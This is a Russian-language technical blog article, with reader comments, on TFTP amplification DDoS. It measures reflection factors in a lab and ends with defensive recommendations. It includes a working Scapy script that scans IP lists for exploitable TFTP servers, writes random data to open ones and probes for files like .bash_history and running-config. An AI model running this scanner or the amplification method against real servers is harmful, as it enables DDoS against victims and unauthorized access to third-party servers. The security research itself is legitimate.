DDoS, в поисках силы

Думаю, многие слышали о DNS amplification и NTP amplification атаках. Много было написано про эти два частных случая UDP-based Amplification атак. Какие ещё протоколы могут быть использованя для усиления? В этом контексте в статье предлагаю рассмотреть протокол tftp.

Давайте вернемся немного назад и вспомним, что представляет собой UDP-based Amplification атаки. Вся реализация сводится к двум пунктам:

  • 1) Отправка на уязвимый сервис специального UDP пакета с поддельным адресом отправителя (адресом жертвы
  • 2) Ответ сервиса на адрес жертвы пакетом в разы превышающим размер первоначального.

Таким образом, получается, что каждый отправленный нами бит к жертве приходит «усиленным» на коэффициент. Вот список протоколов и их коэффициентов усиления по версии us-cert.gov:



Это далеко не полный список, существуют и другие «интересные» протоколы, например, tftp. Ему и будет далее посвящена моя статья.

Теория


Trivial File Transfer Protocol (tftp) — действительно очень trivial, название описывает весь функционал. Tftp не поддерживает аутентификацию, да и вообще какие-либо механизмы безопасности. Для реализации UDP-based Amplification атаки нам надо понять, какой tftp пакет вернется «усиленным». Пакет, инициирующий получение/передачу, выглядит следующим образом:



Просмотрев RFC 1350, становится ясно, что нашим требованиям отвечает только пакет, инициирующий получение файла. По стандарту первый пакет адрес отправителя в котором возможно подделать может быть RRQ (Read request) или WRQ (Write request). В ответ на WRQ сервер отправляет пакет подтверждения небольшого размера, а вот ответом на RRQ приходит первый пакет запрошенных данных размером не более 512 байт. Необходимый нам формат:



\x01 — opcode RRQ
octet — тип передачи, в нашем случае неважен

Для создания такого пакета и последующего тестирования, буду использовать Scapy . Предлагаю протестировать возможность использования tftp усиления, для начала в идеальных условиях.



На хостовой ОС запущен tftpd32, на гостевой scapy, ноутбук исполняет роль жертвы. Первый тест, отправка такого пакета:



На стороне жертвы появился следующий трафик:



Таким образом, отправленные нами 62 байта сгенерировали трафик объемом 1306 байт, что в 21 раз больше первоначального. Получился небольшой коэффициент, но давайте запретим icmp трафик, как это часто бывает.
# iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP

В этот раз появится следующий трафик:



Общий объем 3415 байт, коэффициент в этот раз 55. Это уже что-то, сопоставимо с DNS amplification.

Практика


Количество доступных tftp серверов не превышает 200 тысяч, как по оценкам shodanhq.com, так и по собственным «ощущениям». По сравнению с 28 миллионами «опасных» DNS серверов угроза от tftp серверов незначительная. Дополнительно для использования усиления необходимо знать имя файла на сервере или иметь возможность записи. Это также уменьшает количество серверов, которые можно использовать. Для нахождения подходящих серверов был написан простенький скрипт.

Сам скрипт
#/usr/bin/env python
from scapy.all import *
from random import randint
import os, time
import multiprocessing as mp


def send_udp(ip):
    name_list = open('name_list.txt', 'r')
    wr_str = os.urandom(511)
    tftp_wrq = IP(dst=ip)/UDP(sport=2222, dport=69)/TFTP()/TFTP_WRQ(filename='filename', mode='octet')
    p_wrq = sr1(tftp_wrq, timeout=2, verbose=0)
    try:
        if p_wrq.payload.payload.load:
            if p_wrq.payload.payload.load[1] == '\x04':
                tftp_data = IP(dst=ip)/UDP(sport=2222, dport=p_wrq.sport)/TFTP()/TFTP_DATA(block=0)/wr_str
                send(tftp_data, verbose=0)
                res = (ip, 'filename')
                return res
            elif p_wrq.payload.payload.load[1] == '\x05':
                for name in name_list.read().split('\n'):
                    tftp_rrq = IP(dst=ip)/UDP(sport=2222, dport=69)/TFTP()/TFTP_RRQ(filename=name, mode='octet')
                    p_rrq = sr1(tftp_rrq, timeout=2, verbose=0)
                    if p_rrq.payload.payload.load[1] == '\x03':
                        res = (ip, name)
                        return res
    except AttributeError:
        return False


def save(res):
    if res:
        fo.write('%s:%s\n' % res)


def main(ip_mas):
    pool = mp.Pool(5)
    for ip in ip_mas:
        pool.apply_async(send_udp, args=(ip, ), callback=save)
    pool.close()
    pool.join()


if __name__ == '__main__':
    f = open('tftp_list.txt', 'r')
    fo = open('results.txt', 'a')
    ip_mas = []
    for line in f.read().split('\n'):
        if line:
            if len(line.split('.')) == 4:
                ip_mas.append(line)
    main(ip_mas)
    f.close()
    fo.close()

name_list.txt — список имен файлов, присутствие которых необходимо проверить на tftp, мой список — EUPL-EN.pdf; tftpd32.ini; .bash_history; startup-config; running-config; pxelinux.cfg; linux.bin; boot.bin

Из проверенных мной 10 тысяч серверов подходящими оказались только 1,5 тысячи, но, думаю, эту цифру можно увеличить, составив грамотный список имен файлов, которые проверяются на наличие. К сожалению счастью, мой провайдер не дал возможности протестировать увеличение нагрузки на интерфейсе платного vps, так как оборудование отбрасывало пакеты с «неправильным» адресом отправителя. Пришлось использовать подручные средства. На гостевой машине со scapy была ограничена скорость программой tc, а жертвой так и остался ноутбук с монитором трафика. Переделав скрипт, на практике было достигнуто усиление в 31 раз (по схеме без icmp ответа). О правдивости практических показателей говорить сложно, так как провайдер, возможно, вносит свои коррективы в приоритеты скорости движения трафика.

Заключение


Считаю, что tftp UDP-based Amplification, хотя и сравнима по коэффициенту усиления с DNS amplification, не является настолько критичной, в силу меньшей распространенности и свойств эксплуатации. Возможно применение в составе гибридной атаки, а использование в качестве единственного вектора атаки, думаю, оправдано только на слабые каналы передачи данных.

Мне кажется, что у некоторых специалистов могло сложится неверное понимание «Amplification»-атак, по принципу «у меня нет публичных DNS, NTP, меня это не затронет». Этой статьей хочу обратить ваше внимание на то, что основная проблема «Amplification» атак не только в реализации сервисов DNS, NTP, tftp и т.д., a лежит уровнем ниже, по стеку протокола TCP/IP — протокол UDP. Для решения подобной проблемы необходима работа на многих уровнях, т.е. программисты при создании сервисов на UDP должны пытаться уменьшить коэффициент усиления, сетевые специалисты должны ставить запрет на подмену ip-адреса отправителя в своих зонах, а администраторы систем должны ограничивать доступ к сервисам по принципу достаточности.

Анализ других сервисов работающих на UDP:

Сервер Quake 3
SSDP
SNMP, NTP, Chargen

P.S. Найдутся читатели, которые могут поведать о случаях из практики, какие встречали UDP-based Amplification атаки, помимо DNS и NTP, бывали ли гибридные, какой мощности, прошу поделится опытом в комментариях.
  • +18
  • 19.6k
  • 9
Share post
AdBlock has stolen the banner, but banners are not teeth — they will be back

More
Ads

Comments 9

    +1
    Однажды DNS Amp и мой сервер:
    image
    Sum 31.330 flows/300s (104 flows/s), 34.721.000 packets/300s (115.736 packets/s), 27,153 GByte/300s (741 MBit/s)

    После этого NSD был пересобран (с рейтами) и в iptables поставил лимиты для FIN,SYN,ACK SYN и для ANY запросов к моему ДНС.
      0
      Решается просто, запрещаете UDP на 53 порт и все.
        +2
        Это не решение, а костыль, который урезает функционал днс сервера.
      0
      DOSили сильно вот так. Пришлось сначала убрать сервер из списка а позже и совсем закрыть.
      Конечно трафик мы отбросили через iptables, да вот отправителю (атакующему) об этом не известно.
        0
        Уважаемый автор статьи, посмотрите пожалуйста, а что вот это у меня недавно происходило?
        zalil.su/309094
            0
            Большое спасибо за помощь.
              0
              Полностью согласен, помимо PPP обертки входящих пакетов, в data присутствует структуризация согласно www.bittorrent.org/beps/bep_0005.html, т.е. такие поля, как id, target, find_node
                0
                PPP это обычное PPPoE для доступа в инет. Интересно кстати, вот кому я нужен? Ни по каким таким подозрительным ресурсам не хожу, подозрительных действий не выполняю. Обычный среднестатистический пользователь. Не понятно с какой целью выполняется атака и чего хочет достигнуть атакующий…

                Ещё по статье вопрос: после добавления правила
                # iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP

                получается входящего траффика ещё больше стало? И получается атакующий вообще целиком и полностью игнорирует доступность жертвы? Т.е. будет слать пакеты, даже если целевое устройство не в сети?

          Only users with full accounts can post comments. Log in, please.